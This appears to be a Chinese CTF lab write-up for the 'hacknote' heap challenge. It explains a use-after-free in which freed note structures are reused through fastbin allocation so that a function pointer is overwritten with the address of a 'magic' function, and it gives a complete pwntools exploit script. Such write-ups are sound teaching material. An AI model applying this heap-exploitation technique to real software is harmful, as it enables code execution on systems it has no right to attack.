lab10
No PIE,说明可以直接用IDA中看到的地址,比如最后要执行的magic函数(// starts at 8048986)。
可以看到add_note使用了malloc,del_note只用了free但没有给指针赋值NULL,所以可以在free后使用。
结构体note有两个指针,一个指向打印note的函数(正常流程是print_note_content),一个指向note记录的 content。在print_note中会调用打印note的函数。
所以应该输入note content时用magic覆盖掉原来printnote指针指向的print_note_content,利用没有置空的printnote在print_note中执行magic函数。
结构体note在malloc时会分配为fastbin,16字节大小的空间。如果要让magic的地址在写内容时覆盖到之前free过的note里,就要申请和note一样大小的note->content空间(sizeof + gcc -m32可算,8字节),同时保证没有覆盖到之前note的内容空间里(就是说前面的note->content不能是16字节fastbin大小的)。此外,要申请note->content首先要申请note,所以之前得free掉两个content段不为16字节的note,访问时用第一个note->printnote调用magic(fastbin 的链表是后来的插入到头里)。
脚本(需要先写好/home/hacknote/flag):
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.terminal = ['tmux', 'splitw', '-h' ]
io = process('./hacknote')
magic_addr = 0x08048986
# gdb.attach(io)
# add_note * 2
for _ in range(2):
io.recvuntil(":")
io.sendline("1")
io.recvuntil(":")
io.sendline(str(50))
io.recvuntil(":")
io.sendline("xxx")
# del_note * 2
for i in range(2):
io.recvuntil(":")
io.sendline("2")
io.recvuntil(":")
io.sendline(str(i))
# gdb.attach(io)
# add_note magic_addr
io.recvuntil(":")
io.sendline("1")
io.recvuntil(":")
io.sendline(str(8))
io.recvuntil(":")
io.sendline(p32(magic_addr))
# print_note
io.recvuntil(":")
io.sendline("3")
io.recvuntil(":")
io.sendline(str(0))
io.interactive()
另外docker里要调试,得在run时加上--cap-add=SYS_PTRACE
,进入tmux,再在脚本里加上context.terminal = ['tmux', 'splitw', '-h' ]
才行,不过都装好后在哪里的机器都能用是很方便的。